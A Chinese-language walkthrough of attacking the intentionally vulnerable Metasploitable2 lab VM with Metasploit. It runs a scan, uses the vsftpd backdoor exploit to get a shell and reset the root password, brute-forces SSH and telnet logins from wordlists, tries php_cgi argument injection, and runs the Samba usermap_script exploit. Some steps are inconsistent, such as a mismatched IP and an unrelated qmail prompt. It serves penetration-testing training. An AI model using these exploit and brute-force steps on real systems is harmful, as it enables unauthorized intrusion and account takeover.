Metasploitable2
Metasploitable2是Metasploit团队维护的一个集成了各种漏洞弱点的Linux主机(ubuntu)镜像,本身设计目的是作为安全工具测试和演示常见漏洞攻击的环境。其中最重要的是可以用来作为MSF攻击用的靶机,方便广大黑扩跟安全人员进行MSF漏洞测试跟学习,免去搭建各种测试环境。
开放了很多的高危端口如21、23、445等,而且具有很多未打补丁的高危漏洞, 如Samba MS-RPC Shell命令注入漏洞等,而且对外开放了很多服务,并且数据库允许外联等。系统中的用户口令均为弱口令。系统搭载了DVWA、Mutillidae等Web漏洞演练平台。
首先我们启动postgresql数据库,postgresql此数据库为msf链接的数据库,不打开的话msf不可以使用
┌──(root💀kali)-[~/桌面]
└─# systemctl start postgresql
进入MSF后扫描Metasoloit 2的IP地址
┌──(root💀kali)-[~/桌面]
└─# msfconsole
msf6 > db_nmap -A -T4 172.16.12.11
-A为激烈扫描模式选项,这个选项启用额外的高级和高强度选项。
-T为设置时间模板,4为Aggressive 模式,假设用户具有合适及可靠的网络从而加速扫描。
扫描成功后我们可以使用services(IP地址)命令查看保存在数据库的扫描信息
msf6 > services 172.16.12.1
我们扫描到所有端口后可以逐一排查各个端口的服务协议等信息,搜索探测出各个服务已经存在的已知漏洞漏洞,或可以利用的端口服务进行逐步攻击爆破。
我们现在已经搜索到所有存在的端口了,然后我们针对单个端口进行渗透攻击
端口:21
服务:FTP
说明:FTP服务器所开放的端口,用于上传、下载。最常见的攻击者用于寻找打开anonymous的FTP服务器的方法。这些服务器带有可读写的目录。
我们使用search port:21 name:ftp description:vsftpd
命令来搜索可用模块**
Port : 21 为端口21
Name : ftp 为服务名称ftp
Description : vsftpd 为服务描述vsftpd
我们搜索到了一个可用的模块,继续使用这个模块进行尝试
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
设置攻击的地址然后使用exploit
或者run
命令开始进行渗透攻击测试
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 172.16.12.11
rhost => 172.16.12.11
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
我们已经拿到了一个命令行的执行权限 查看/etc/passwd查看root UID GID是否为0 是否为最大权限
cat /etc/passwd
这里可以看到已经获取到了用户列表,我们尝试使用管理员命令passwd
命令修改root密码
passwd root
Enter new UNIX password: 123..
Retype new UNIX password: 123..
passwd: password updated successfully
这里已经显示密码更新成功,已经获取到最大权限用户账号密码,也就代表已经拿下!
端口:22
服务:ssh
说明:PcAnywhere建立的TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱点,如果配置成特定的模式,许多使用RSAREF库的版本就会有不少的漏洞存在。
首先我们搜索我们可以使用的模块
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > search ssh
搜索到所有模块后找到ssh_login进行ssh密码爆破
msf6 > use auxiliary/scanner/ssh/ssh_login
使用show options查看该模块下参数
msf6 auxiliary(scanner/ssh/ssh_login) > show options
PASSWORD 参数为密码
PASS_FILE 参数为密码文件
USERPASS_FILE 参数为用户名
USER_AS_PASS 参数为用户名文件
首先设置攻击地址为172.16.12.11
msf6 auxiliary(scanner/ssh/ssh_login) > set rhost 172.16.12.11
设置用户名为root
msf6 auxiliary(scanner/ssh/ssh_login) > set username root
username => root
设置密码为passwd.txt文本爆破
msf6 auxiliary(scanner/ssh/ssh_login) > set pass_file /passwd.txt
pass_file => /passwd.txt
msf6 auxiliary(scanner/ssh/ssh_login) > run
这里已经爆破出来账号密码了,我们使用这个账号密码进行链接
msf6 auxiliary(scanner/ssh/ssh_login) > ssh root@172.16.12.11
使用命令查看,这些成功执行命令,也已经登录root用户,证明已经拿到最大权限!
端口:23
服务:Telnet
说明:远程登录,入侵者在搜索远程登录UNIX的服务。大多数情况下扫描这一端口是为了找到机器运行的操作系统。还有使用其他技术,入侵者也会找到密码。木马Tiny Telnet Server就开放这个端口。
先使用search telnet
命令搜索可用模块
我们直接使用uxiliary/scanner/telnet/telnet_login
模块进行爆破
msf6 auxiliary(scanner/ssh/ssh_login) > use auxiliary/scanner/telnet/telnet_login
设置爆破的用户本,密码本和爆破的IP地址
msf6 auxiliary(scanner/telnet/telnet_login) > set user_file /username.txt
user_file => /username.txt
msf6 auxiliary(scanner/telnet/telnet_login) > set pass_file /passwd.txt
pass_file => /passwd.txt
msf6 auxiliary(scanner/telnet/telnet_login) > set rhosts 172.16.12.11
发现了爆破到了两组账号密码,分别为root : 123.com
和msfadmin : msfadmin
我们分别进行远程链接测试
msf6 auxiliary(scanner/telnet/telnet_login) > ssh root@172.16.12.11
msf6 auxiliary(scanner/telnet/telnet_login) > ssh msfadmin@172.16.12.11
两个都可以进行登录,并且也或得到了最大权限root用户的密码!
端口:80
服务:HTTP
说明:用于网页浏览。木马Executor开放此端口。
我们直接使用use exploit/multi/http/php_cgi_arg_injection
模块进程渗透攻击
设置一个攻击地址,然后查看一下
msf6 exploit(multi/http/php_cgi_arg_injection) > set RHOST 172.16.12.11
RHOSR => 172.16.12.11
msf6 exploit(multi/http/php_cgi_arg_injection) > options
msf6 exploit(unix/smtp/qmail_bash_env_exec) > exploit
到这里已经可以了,80端口之使用MSF还是和比较难攻击进去的!!
端口:137、138、139、445
服务:NETBIOS Name Service
说明:其中137、138是UDP端口,当通过网上邻居传输文件时用这个端口。而139端口:通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于windows文件和打印机共享和SAMBA。还有WINS Regisrtation也用它。
我们使用search samba
命令进行搜索模块
msf6 exploit(multi/samba/usermap_script) > search samba
使用exploit/multi/samba/usermap_script
模块进行攻击
msf6 > use exploit/multi/samba/usermap_script
设置攻击地址以及端口
msf6 exploit(multi/samba/usermap_script) > set rhosts 172.16.12.11
rhosts => 172.16.12.11
msf6 exploit(multi/samba/usermap_script) > set rport 139
rport => 139
查看设置好的参数
msf6 exploit(multi/samba/usermap_script) > options
进行攻击测试
msf6 exploit(multi/samba/usermap_script) > run